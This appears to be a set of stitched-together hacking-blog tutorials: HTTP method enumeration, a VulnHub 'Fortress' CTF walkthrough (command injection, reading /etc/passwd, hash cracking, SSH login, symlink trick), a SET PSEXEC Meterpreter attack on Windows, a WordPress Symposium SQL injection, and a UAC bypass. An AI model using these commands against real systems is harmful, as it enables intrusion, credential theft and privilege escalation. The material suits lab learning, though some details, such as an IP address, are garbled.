Penetration Testing of HTTP Protocol (Verb Tempering)

You all are very much aware of HTTP protocol and its services. HTTP is considered to authorize intermediate network elements to develop communications between clients and servers. HTTP is an application layer protocol designed within the framework of the Internet protocol suite.

List of Valid HTTP request Methods

GET: It is basically a method used for just receiving some data from the server or specific resource. This method requests are used only to read data and not for alteration and also may return cached data, the requests remain in the browser history.

Post: This method make request to send data to the server or resource. Its requests cannot be bookmarked more over requests have no limitations on data length. The parameters are not saved in browser history

Head: The HEAD method is used to query only for information about a document, not for the document itself. HEAD is much faster than GET, as a much smaller amount of data is transferred.

Put: PUT involves to upload a file or completely replace whatever is available at the given URL with the client defined URL. Attacker took advantage of this method.

Delete: Through delete action a client or attacker get chance to remove file from server or can lead cascade and rollback of several transactions or message which can interrupt the communication.

Connect: Establishes a tunnel to provide secure connection and communication between client and server for examples HTTP proxy and SSL encryptions.

Options: The OPTIONS returns the HTTP methods that the server supports for the specified URL. It is used to describe the communication options for the target resource.

Trace: This method simply come back to the client whatever string has been sent to the server, and is used mainly for debugging purposes.

In this article we are going to perform http verb tampering and try to find out which method is allowed in host server.

LETS START!!!!
Boot up your kali Linux and turn on terminal to identify the running verbs in host IP. I will perform same task with different techniques.


Metasploit

 Now Type msfconsole on terminal to load metasploit framework and use following module to identify supported options.

This module use to Display available HTTP options for each system.
msf > use auxiliary/scanner/http/options
msf auxiliary(options) >set rhosts 192.168.1.43
msf auxiliary(options) >set rport 80
msf auxiliary(options) >exploit


Look over highlighted part in screenshot that is showing which methods are allowed under HTTP (GET HEAD POST OPTIONS TRACE).


Curl

Through you can identify the running services on target IP. Type following command to make curl run.
Curl –v –X OPTIONS 192.168.1.43

From screenshot it is confirm that curl is working properly by dumping same result as above. The highlighted part is showing which methods are allowed under HTTP (GET HEAD POST OPTIONS TRACE).


NIKTO

It another tool to perform same function and try to analysis allowed method for HTTP. Execute the following command on terminal once again to scan target IP.

Nikto –h 192.168.1.43

Pretty good!!!  Now perceive towards screenshot the result is exactly same as above HTTP (GET HEAD POST OPTIONS TRACE).


Nmap

Nmap script finds out what options are supported by an HTTP server by sending an OPTIONS request.

Nmap –script http-methods –script-args http-method.test-all=’/192.168.1.43’ 192.168.1.43

Superb!!!  Not only it dumps the allowed method under HTTP (GET HEAD POST OPTIONS TRACE CONNECT) but also shown the potentially risky methods i.e. TRACE and CONNECT.


Netcat

Try to connect with victim through netcat this will also demonstrate the victim and inform about the allowed methods.

Nc 192.168.1.43 80

Hence result from all six techniques is around same we have got that (GET HEAD POST OPTIONS TRACE) are some verb allow by HTTP.

Hack the Fortress VM (CTF Challenge)


Hello friends today we are going to solve another CTF challenge “FORTRESS” of the vulnhub labs. The level of this challenge is not so tough and its difficulty level is described as medium. Solving this lab will give you a good experience of web penetration testing.
You can download it from here: https://www.vulnhub.com/entry/dc416-2016,168/
Penetrating Methodology
§  Network Scanning (Nmap, netdiscover)
§  Abusing HTTP service (Burp-suite)
§  Generating Dictionary (crunch)
§  Cracking Hash (john the ripper)
§  SSH login
§  Capture the 2nd flag and 3rd flag
                                                                         
Let’s Begin!!
Start with netdiscover command to identify target IP in the local network, in my network 192.168.1.109 is my target IP, you will get yours.

netdiscover



Further let’s enumerate open ports and protocols information of the target’s network with help of nmap following command:
nmap -p- -A 192.168.0.109
As shown port 22, 80, 443 are open, let’s penetrate more.


     So we explore target IP in the web browser and welcomed by following image.



After making lots of efforts I decided to use dirbuster for directory brute-force. Type dirbuster on terminal and automatically OWASP dirbuster window gets open. Here browse your dictionary from /usr/share/dirbuster/wordlists and choose your appropriate wordlist as I select medium.txt, do not forget to address target URL in top of text field as: http//192.168.0.109 and finally hit start button.




   Luckily!!! I found something which is scanner.php file.


So when I explored scanner.php in the web browser, it put-up the following web page in front of us.  So when I trigger the localhost IP we got result of Nmap scan which you can perceive from below image. I also tried to breach it through some kind of command injection but hard luck! all seems to be waste here.




Then I decide to capture the HTTP request in burp suite and send the intercepted request into repeater

Look over given below image here you will find two panel left and right for request and response respectively.

Type ls as request and click on go tab. This will generate response to request you made.
Request: ls
Response: index.html
k1ngd0m_k3yz
logo.png
s1kr3t
scanner.php
styles.css



So among 4 directories enumerated above, we ran ls command again to check the list of /s1kr3t and found flag.txt as response.

Request: ls
Response: flag.txt


Now repeat the process till last step of making request and getting response through repeater. With help of cat command we found 1st flag.
 Request: cat flag.txt
Response: FLAG{n0_one_br3aches_teh_f0rt}



Then we try to check list of k1ngd0m_k3yz and found two files inside it.
Request: ls k1ngd0m_k3yz
Response: master and passwd


So I open master file and found a single entry of /etc/passwd file for user craven along with password hash.
Request: cat k1ngd0m_k3yz/master
Let’s copy the hash password in a text file and named it hash.txt



Then I open /k1ngd0m_k3yz/passwd where I didn’t found any remarkable clue.




Then I try to open /etc/passwd file and as you can observe, inside burp response we got the passwd file and I found entry for two local users: vulnhub & craven.


Then, I try to get into /home/craven directory in order to view present list with following request.
Request: ls  /home/craven
Response: I got three files flag.txt, hint.txt and reminders.txt.




First I try to flag.txt but fail to read it, then inside hint.txt we got some hint for user password.


 Then I open reminder.txt file that gave me a list to buy.


Then with help of hint.txt and remainder.txt we have generated a dictionary using crunch. Crunch is a wordlist generator where you can specify a standard character set or a character set you specify.
crunch 10 10 -t %%%qwerty^ > dict.txt


If you remember we have already enumerated hash password for craven from inside k1ngd0m_k3yz/master. Use john the ripper to crack the password with help crunch dictionary generated above.
cd Desktop

 john --wordlist=dic.txt hash.txt

 931qwerty? is password for craven as you can perceive from the given image.



If you remember the result from nmap which shows port 22 is open now try to connect the target through SSH using above credential.
ssh craven@192.168.0.109
Yesss!! We got login successfully, now when I checked the list of current directory, I found flag.txt.
ls
cat flag.txt
Luckily found 2nd FLAG {w0uld_u_lik3_som3_b33r_with_ur_r3d_PiLL}


It was very tough to get third flag.txt but with help of following command we reached to the final flag.
cd /home
ls             
cd vulnhub
ls
cat flag.txt
./reader flag.txt
For finding 3rd flag we applied the symlink process and successfully grabbed the last flag also.
cd /tmp
ln /home/vulnhub/flag.txt raj
cd /home/vulnhub
./reader /tmp/raj
Finally I found 3rd FLAG{its_A_ph0t0_ph1ni5h}

Hack Remote PC using PSEXEC Injection in SET Toolkit

Target: Window Server
Attacker machine: kali Linux

In this article I am going to make powershell injection attack though SEToolkit; for this attack it is necessary that SMB service must be running and you should aware of username and password of your target pc to get the Meterpreter session.

Let’s Begin The Game!!!

Scan the victim IP from NMAP by typing following command on terminal in kali Linux
Nmap –sV 192.168.1.104


 Under version scan it shows port 445 is open and if you are not aware from port protocol services then let me tell you that port 445 is use for SMB protocol for making communication between two different operating systems like as we have Linux and windows. 


Now Click Applications > Exploitation Tools > Social Engineering Toolkit > setoolkit.

A new terminal gets open for setoolkit framework and now you have to follow these steps for making attack on target.

From screenshot you can perceive that it through a menu to select following approach for attack.
Choose penetration testing (fast-track) and type2 for this method.


Fast-Track is an automated penetration suite for penetration testers. So from next screenshot again we have following option, choose PSEXEC Powershell Injection and type 6 for it.

PSEXEC Powershell Injection Attack: This attack will inject a meterpreter backdoor through powershell memory injection. This will avoid Anti-Virus since we will never touch disk or memory. Will require Powershell to be installed on the remote victim machine. You can use either straight passwords or hash values.


Now give following information to execute attack on victim pc.
Enter remote IP as rhost: 192.168.1.104
Enter username: administrator
Enter password: Ignite@1234
 If you don’t know the domain name hit enter only for this and same for random select to number of threads hit enter.
Enter listener IP as lhost: 192.168.1.3
Enter port number: 445



Now this will generate a payload for powershell injection and start loading metasploit framework itself. From below image you will found that through alphabetic shellcode we have got meterpreter session1 open.
Now type sessions to view active session


Further Type sessions –I 1 to get inside meterpreter mode.
Meterpreter> sysinfo

{NOTE: This attack is depending upon the version of SMB PROTOCOL; if version is updated of 2.1 then may be this attack is not successful. Use aggressive scanning method for version detail.} 

Wordpress Penetration Testing using Symposium Plugin SQL Injection

WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy."

Wordpress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an unauthenticated SQL Injection in get_album_item.php parameter 'size'. The issue is exploitable even if the plugin is deactivated.

The SQL injection allows (very easily) to retrieve all the database content, which includes users details and password hashes. An attacker may be able to crack users' password hashes and log in as them. If an administrator user password is obtained, then the attacker could take complete control of the Wordpress installation. Collected information may also allow further attacks. 


Attacker: kali Linux
Target: wordpress
Let start!!!!

Start WPSCAN in kali from following step:

 Now scan the target IP for scanning any wordpress application and type following command
Through this command we are scanning current plugin installed for any wordpress website.


./wpscan.rb –url http://192.1681.0.104 --enumerate p


The red sign indicating wp symposium 15.5.1 is vulnerable and suffers from an unauthenticated SQL Injection although blue sign shows version 15.8 if fixed which is not vulnerable till now.


Now start metasploit for attack and type msfconsole on terminal in kali Linux.

msf > use auxiliary/admin/http/wp_symposium_sql_injection
 msf auxiliary(wp_symposium_sql_injection) >set rhost 192.1681.0.104
msf auxiliary(wp_symposium_sql_injection) >set rport 80
msf auxiliary(wp_symposium_sql_injection) >exploit

Nice!!! Here we found the relevant username and password as user: raj respectively.

Hack Admin Access of Remote windows 10 PC using Eventvwr Registry Key Exploit

First of all, to learn to how to hack victim’s PC click here. After hacking when you have gained a meterpreter session then type:

getprivs


using this command you will confirm the fact that you have not entered the administrator yet. So now, there is no need to worry.


Now use the following exploit
This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when the Windows Event Viewer is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. The module does not require the architecture of the payload to match the OS. If specifying EXE::Custom your DLL should call ExitProcess () after starting your payload in a separate process.


As the command will make our file execute we will have a session with administrator privileges as shown